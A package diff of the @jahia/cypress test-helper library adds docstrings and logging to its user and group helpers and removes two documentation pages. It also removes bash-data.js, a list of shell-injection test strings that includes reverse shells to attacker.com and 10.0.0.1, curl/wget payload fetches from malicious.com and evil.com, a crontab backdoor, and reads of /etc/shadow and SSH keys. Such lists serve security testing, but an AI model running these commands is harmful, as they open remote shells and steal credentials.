@jahia/cypress 8.2.0 → 8.3.0

package/src/utils/UsersHelper.ts

@@ -1,5 +1,13 @@
+/**
+ * Grants one or more roles to a principal on a target node.
+ * @param {string} pathOrId JCR node path or identifier where roles are granted.
+ * @param {Array<string>} roleNames Role names to grant.
+ * @param {string} principalName Principal name (user or group) receiving roles.
+ * @param {string} principalType Principal type expected by the mutation.
+ * @returns {Cypress.Chainable} Cypress chainable for the GraphQL mutation request.
+ */
 export const grantRoles = (pathOrId: string, roleNames: Array<string>, principalName: string, principalType: string): Cypress.Chainable => {
-    cy.log('Grant role(s) ' + roleNames + ' with principal type ' + principalType + ' to ' + principalName + ' on node ' + pathOrId);
+    cy.log(`Grant role(s) ${roleNames} with principal type ${principalType} to ${principalName} on node ${pathOrId}`);
     return cy.apollo({
         variables: {
             pathOrId: pathOrId,
@@ -11,8 +19,16 @@ export const grantRoles = (pathOrId: string, roleNames: Array<string>, principal
     });
 };
 
+/**
+ * Revokes one or more roles from a principal on a target node.
+ * @param {string} pathOrId JCR node path or identifier where roles are revoked.
+ * @param {Array<string>} roleNames Role names to revoke.
+ * @param {string} principalName Principal name (user or group) losing roles.
+ * @param {string} principalType Principal type expected by the mutation.
+ * @returns {Cypress.Chainable} Cypress chainable for the GraphQL mutation request.
+ */
 export const revokeRoles = (pathOrId: string, roleNames: Array<string>, principalName: string, principalType: string): Cypress.Chainable => {
-    cy.log('Revoke role(s) ' + roleNames + ' with principal type ' + principalType + ' to ' + principalName + ' on node ' + pathOrId);
+    cy.log(`Revoke role(s) ${roleNames} with principal type ${principalType} to ${principalName} on node ${pathOrId}`);
     return cy.apollo({
         variables: {
             pathOrId: pathOrId,
@@ -24,21 +40,35 @@ export const revokeRoles = (pathOrId: string, roleNames: Array<string>, principa
     });
 };
 
-export const createUser = (userName: string, password: string, properties: {
-    name: string,
-    value: string
-}[] = []): void => {
+/**
+ * Creates a Jahia user using the Groovy fixture.
+ * @param {string} userName Username of the user to create.
+ * @param {string} password Password for the new user. Defaults to "password" when empty.
+ * @param {{name: string, value: string}[]} properties Optional user properties to set on creation.
+ * @param {string} siteKey Optional site key for site-scoped user creation.
+ * @returns {void}
+ */
+export const createUser = (userName: string, password: string, properties: {name: string, value: string}[] = [], siteKey = ''): void => {
+    cy.log(`Creating ${siteKey === '' ? 'server-level ' : ('site-level:' + siteKey)} user with name ${userName}`);
     const userProperties = properties.map(property => {
         return 'properties.setProperty("' + property.name + '", "' + property.value + '")';
     });
     cy.executeGroovy('groovy/admin/createUser.groovy', {
-        USER_NAME: userName,
+        USERNAME: userName,
         PASSWORD: password ? password : 'password',
-        USER_PROPERTIES: userProperties ? userProperties.join('\n') : ''
+        USER_PROPERTIES: userProperties ? userProperties.join('\n') : '',
+        SITEKEY: siteKey
     });
 };
 
+/**
+ * Retrieves the JCR path of a user.
+ * @param {string} username Username to look up.
+ * @param {string} siteKey Optional site key for site-scoped users.
+ * @returns {Cypress.Chainable} Cypress chainable containing the GraphQL query response.
+ */
 export const getUserPath = (username: string, siteKey = ''): Cypress.Chainable => {
+    cy.log(`Getting user path for ${username}`);
     return cy.apollo({
         variables: {
             siteKey,
@@ -49,13 +79,27 @@ export const getUserPath = (username: string, siteKey = ''): Cypress.Chainable =
     );
 };
 
+/**
+ * Deletes a Jahia user using the Groovy fixture.
+ * @param {string} userName Username of the user to delete.
+ * @returns {void}
+ */
 export const deleteUser = (userName: string): void => {
+    cy.log(`Deleting user ${userName}`);
     cy.executeGroovy('groovy/admin/deleteUser.groovy', {
-        USER_NAME: userName
+        USERNAME: userName
     });
 };
 
+/**
+ * Creates a Jahia users group using the Groovy fixture.
+ * @param {string} groupName Group name to create.
+ * @param {boolean} hidden Whether the group should be hidden.
+ * @param {string} siteKey Optional site key for site-scoped group creation.
+ * @returns {void}
+ */
 export const createGroup = (groupName: string, hidden?: boolean, siteKey = ''): void => {
+    cy.log(`Creating ${siteKey === '' ? 'server-level' : ('site-level:' + siteKey)} group ${groupName}`);
     cy.executeGroovy('groovy/admin/userGroupHelper.groovy', {
         OPERATION: 'create',
         GROUPNAME: groupName,
@@ -64,7 +108,14 @@ export const createGroup = (groupName: string, hidden?: boolean, siteKey = ''):
     });
 };
 
+/**
+ * Deletes a Jahia users group using the Groovy fixture.
+ * @param {string} groupName Group name to delete.
+ * @param {string} siteKey Optional site key for site-scoped group deletion.
+ * @returns {void}
+ */
 export const deleteGroup = (groupName: string, siteKey = ''): void => {
+    cy.log(`Deleting ${siteKey === '' ? 'server-level' : ('site-level:' + siteKey)} group ${groupName}`);
     cy.executeGroovy('groovy/admin/userGroupHelper.groovy', {
         OPERATION: 'delete',
         GROUPNAME: groupName,
@@ -72,10 +123,18 @@ export const deleteGroup = (groupName: string, siteKey = ''): void => {
     });
 };
 
-export const addUserToGroup = (userName: string, groupName: string, siteKey?: string): void => {
+/**
+ * Adds an existing user to a group using the Groovy fixture.
+ * @param {string} userName Username to add to the group.
+ * @param {string} groupName Group receiving the user.
+ * @param {string} siteKey Optional site key for site-scoped group membership.
+ * @returns {void}
+ */
+export const addUserToGroup = (userName: string, groupName: string, siteKey = ''): void => {
+    cy.log(`Add user ${userName} to ${siteKey === '' ? 'server-level' : ('site-level:' + siteKey)} group ${groupName}`);
     cy.executeGroovy('groovy/admin/addUserToGroup.groovy', {
-        USER_NAME: userName,
-        GROUP_NAME: groupName,
-        SITE_KEY: siteKey ? `"${siteKey}"` : 'null'
+        USERNAME: userName,
+        GROUPNAME: groupName,
+        SITEKEY: siteKey
     });
 };

package/dist/injections/bash-data.d.ts

@@ -1 +0,0 @@
-export declare const bashData: string[];

package/dist/injections/bash-data.js

@@ -1,57 +0,0 @@
-"use strict";
-Object.defineProperty(exports, "__esModule", { value: true });
-exports.bashData = void 0;
-exports.bashData = [
-    '--version',
-    '--help',
-    '$USER',
-    '/dev/null; touch /tmp/blns.fail ; echo',
-    '`touch /tmp/blns.fail`',
-    '$(touch /tmp/blns.fail)',
-    '@{[system \'touch /tmp/blns.fail\']}',
-    'eval(\'puts \'hello world\'\')',
-    'System(\'ls -al /\')',
-    '`ls -al /`',
-    'Kernel.exec(\'ls -al /\')',
-    'Kernel.exit(1)',
-    '%x(\'ls -al /\')',
-    '$HOME',
-    '$ENV{\'HOME\'}',
-    '%d',
-    '%s',
-    '{0}',
-    '%*.*s',
-    '../../../../../../../../../../../etc/passwd%00',
-    '../../../../../../../../../../../etc/hosts',
-    '() { 0; }; touch /tmp/blns.shellshock1.fail;',
-    '() { _; } >_[$($())] { touch /tmp/blns.shellshock2.fail; }',
-    '; cat /etc/passwd',
-    '| ls -la',
-    '&& whoami',
-    '; rm -rf /tmp/test',
-    '` cat /etc/shadow `',
-    '| id',
-    '; uname -a',
-    '&& cat /etc/group',
-    '$(whoami)',
-    '`id`',
-    '; nc -e /bin/sh attacker.com 4444',
-    '| curl http://malicious.com/shell.sh | bash',
-    '; wget http://evil.com/backdoor -O /tmp/backdoor',
-    '&& chmod +x /tmp/exploit',
-    '`cat /root/.ssh/id_rsa`',
-    '; find / -name \'*.conf\'',
-    '| grep -r \'password\' /etc/',
-    '&& env',
-    '$(cat /proc/version)',
-    '; ps aux',
-    '| netstat -tuln',
-    '&& iptables -L',
-    '`cat /var/log/auth.log`',
-    '; history',
-    '| tail -f /var/log/syslog',
-    '&& crontab -l',
-    '; echo \'* * * * * /tmp/backdoor\' | crontab -',
-    '`sudo su -`',
-    '; python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\''
-];

package/docs/browser-helper.md

@@ -1,158 +0,0 @@
-# Browser Helpers
-
-## Overview
-
-The Browser Helpers module provides exported helper functions for debugging and managing browser storage (`cookies`, `localStorage`, `sessionStorage`) in Cypress tests.
-
-Warning: These helpers log full storage/cookie values by design. Use carefully in automated runs to avoid leaking tokens, credentials, or session identifiers in logs.
-
-## Import and Usage Model
-
-```typescript
-import {BrowserHelper} from '@jahia/cypress';
-
-it('inspects browser state', () => {
-  cy.login();
-  BrowserHelper.logCookies();
-  BrowserHelper.logLocalStorage();
-});
-```
-
-## Available Helpers
-
-### `BrowserHelper.logCookies()`
-
-Logs all available cookies with metadata and values.
-
-- Returns: `Cypress.Chainable<void>`
-- Typical use: inspect authentication and security cookie attributes during debugging
-
-### `BrowserHelper.logCookie(cookieName)`
-
-Logs one cookie by name in a detailed format.
-
-- Parameters: `cookieName: string`
-- Returns: `Cypress.Chainable<void>`
-
-### `BrowserHelper.clearSessionCookies()`
-
-Clears only session cookies.
-
-- Returns: `Cypress.Chainable<void>`
-
-### `BrowserHelper.clearPersistentCookies()`
-
-Clears only persistent cookies.
-
-- Returns: `Cypress.Chainable<void>`
-
-### `BrowserHelper.simulateClose()`
-
-Simulates a browser close by clearing `sessionStorage` and session cookies only.
-
-- Returns: `void`
-- Clears: session cookies + all `sessionStorage`
-- Keeps: persistent cookies + `localStorage`
-
-### `BrowserHelper.resetState()`
-
-Resets browser client-side state by clearing all cookies and all storages.
-
-- Returns: `void`
-- Clears: all cookies + all `localStorage` + all `sessionStorage`
-
-### `BrowserHelper.logSessionStorage()`
-
-Logs all `sessionStorage` entries grouped by origin.
-
-- Returns: `Cypress.Chainable<void>`
-
-### `BrowserHelper.logLocalStorage()`
-
-Logs all `localStorage` entries grouped by origin.
-
-- Returns: `Cypress.Chainable<void>`
-
-## Integration Examples
-
-### Authentication Debugging
-
-```typescript
-import {BrowserHelper} from '@jahia/cypress';
-
-describe('Authentication Flow', () => {
-  it('keeps session after reload', () => {
-    cy.step('Login', () => {
-      cy.login('testuser@example.com', 'password');
-      BrowserHelper.logCookie('JSESSIONID');
-      cy.get('[data-testid="dashboard"]').should('be.visible');
-    });
-
-    cy.step('Reload page', () => {
-      cy.reload();
-      BrowserHelper.logCookie('JSESSIONID');
-      cy.get('[data-testid="dashboard"]').should('be.visible');
-    });
-  });
-});
-```
-
-### Simulate Browser Close
-
-```typescript
-import {BrowserHelper} from '@jahia/cypress';
-
-it('validates behavior after browser close', () => {
-  cy.login();
-  BrowserHelper.logCookies();
-
-  // Simulate browser close (clears session cookies and session storage)
-  BrowserHelper.simulateClose();
-
-  // Visit the app again to see the effect of reset
-  cy.visit(url);
-
-  BrowserHelper.logCookies();
-  BrowserHelper.logSessionStorage();
-});
-```
-
-### Simulate Browser Reset (clear all cookies and storages)
-
-```typescript
-import {BrowserHelper} from '@jahia/cypress';
-
-it('validates behavior after full browser reset', () => {
-    cy.login();
-    BrowserHelper.logCookies();
-
-    // Reset all browser state
-    BrowserHelper.resetState();
-
-    // Visit the app again to see the effect of reset
-    cy.visit(url); 
-
-    BrowserHelper.logCookies();
-    BrowserHelper.logSessionStorage();
-});
-```
-
-## Best Practices
-
-1. Use these helpers for interactive debugging, not as regular test assertions.
-2. Avoid running full storage/cookie logging in CI unless required.
-3. Prefer targeted checks (`logCookie`) over full dumps (`logCookies`) for sensitive environments.
-4. Use `resetState()` for hard test isolation, and `simulateClose()` for realistic session lifecycle checks.
-
-## API Reference
-
-| Helper | Parameters | Returns | Description |
-|--------|------------|---------|-------------|
-| `BrowserHelper.logCookies()` | - | `Cypress.Chainable<void>` | Logs all cookies with full metadata |
-| `BrowserHelper.logCookie(cookieName)` | `string` | `Cypress.Chainable<void>` | Logs one cookie by name |
-| `BrowserHelper.clearSessionCookies()` | - | `Cypress.Chainable<void>` | Clears session cookies only |
-| `BrowserHelper.clearPersistentCookies()` | - | `Cypress.Chainable<void>` | Clears persistent cookies only |
-| `BrowserHelper.simulateClose()` | - | `void` | Clears session storage and session cookies |
-| `BrowserHelper.resetState()` | - | `void` | Clears all storages and all cookies |
-| `BrowserHelper.logSessionStorage()` | - | `Cypress.Chainable<void>` | Logs all session storage data |
-| `BrowserHelper.logLocalStorage()` | - | `Cypress.Chainable<void>` | Logs all local storage data |

package/docs/context-reporter.md

@@ -1,104 +0,0 @@
-# Context Reporter: Test Tags and Integration with TestRail
-
-## Overview
-
-Test tags are user-defined labels that can be attached to test suites and individual tests to provide metadata about test characteristics, scope, and purpose. Tags are collected during test execution and included in the mochawesome test report.
-
-## Integration with TestRail and jahia-reporter
-
-Tags defined in Cypress tests are **automatically synchronized to TestRail test cases** by the `jahia-reporter` tool during the test reporting phase. This enables:
-
-- **Test categorization** in TestRail for better organization
-- **Dashboard filtering** based on test characteristics
-- **Reporting dashboards** that slice data by tag combinations (e.g., smoke tests, regression, performance, critical path)
-- **Traceability** linking test runs to business requirements or feature areas
-
-## Usage
-
-### Basic Syntax
-
-Use the `tag()` function to attach one or more tags:
-
-```typescript
-import {context} from '@jahia/cypress';
-
-describe('Authentication', () => {
-    context.tag('smoke', 'critical');
-
-  it('should login successfully', () => {
-      context.tag('p1');  // Add P1 severity
-      cy.login();
-      cy.url().should('include', '/home');
-  });
-
-  it('should logout successfully', () => {
-    cy.logout();
-  });
-});
-```
-
-### Where to Call
-
-- **In `describe()`**: Tags apply to **all nested tests** in the suite (inherited by child suites and tests)
-- **In `it()`**: Tags apply to **only that specific test**
-- **Both**: Combine suite-level and test-level tags (both are collected)
-
-### Example: Multi-Level Tagging
-
-```typescript
-import {context} from '@jahia/cypress';
-
-describe('Content Management', () => {
-  context.tag('regression', 'content');  // Suite-level tags
-
-  describe('Publishing Workflow', () => {
-    context.tag('critical');  // Additional suite-level tag
-
-    it('should publish page', () => {
-      context.tag('p0', 'smoke');  // Test-level tags
-      // effective tags: ['regression', 'content', 'critical', 'p0', 'smoke']
-    });
-
-    it('should unpublish page', () => {
-      // effective tags: ['regression', 'content', 'critical']
-    });
-  });
-});
-```
-
-## Implementation Details
-- Tags are collected during test execution via Mocha hooks and then added to the test's `context`.
-- Suite tags are inherited by nested describe blocks and tests.
-- All unique tags are deduplicated.
-
-Tags are stored as an object (`{title: <title>, value: <value>}`) in order to be properly parsed by mocha html-reporter. 
-Example:
-```json
-{title: 'tags', value: ['tag1', 'tag2', 'tag3']}
-```
-
-Finally, the `context` field in Cypress report will contain a stringified JSON array of tags meta-info along with other context information added by the user.
-
-Example of `context` field in the report (note - array contains both tags meta-info and user-added context info like video path; array is stringified by `mochawesome` reporter):
-```json
-"context": "[\n  {\n    \"title\": \"tags\",\n    \"value\": [\n      \"graphql-api-upa\",\n      \"upa\",\n      \"custom-factor\",\n      \"P1\",\n      \"authentication\"\n    ]\n  },\n  \"videos/graphQL.mfa.customFactor.cy.ts.mp4\"\n]",
-```
-This `context` field will be parsed by `jahia-reporter` afterward to extract the tags and sync them to `TestRail`. If the `context` field doesn't contain tags in expected format, it will be ignored by `jahia-reporter` and labels in `TestRail` won't be updated.
-
-
-## Best Practices
-
-1. **Use consistent tag names** across your test suite
-2. **Keep tag values simple** (lowercase, no spaces, use hyphens for multi-word tags)
-3. **Avoid overtagging** — use a reasonable number of tags (3-5 per test)
-4. **Combine categories** — mix priority, type, and feature tags for flexibility
-5. **Use suite-level tags** for common characteristics (saves repetition)
-6. **Add test-level tags** for exceptions or special cases
-
-## Troubleshooting
-
-### Tags not appearing in TestRail
-- Ensure `context.tag()` is called at the right scope (in `describe()` or `it()`)
-- Check that jahia-reporter is configured to sync tags to TestRail
-- Verify the test report is being generated and contains `context` attribute with tags
-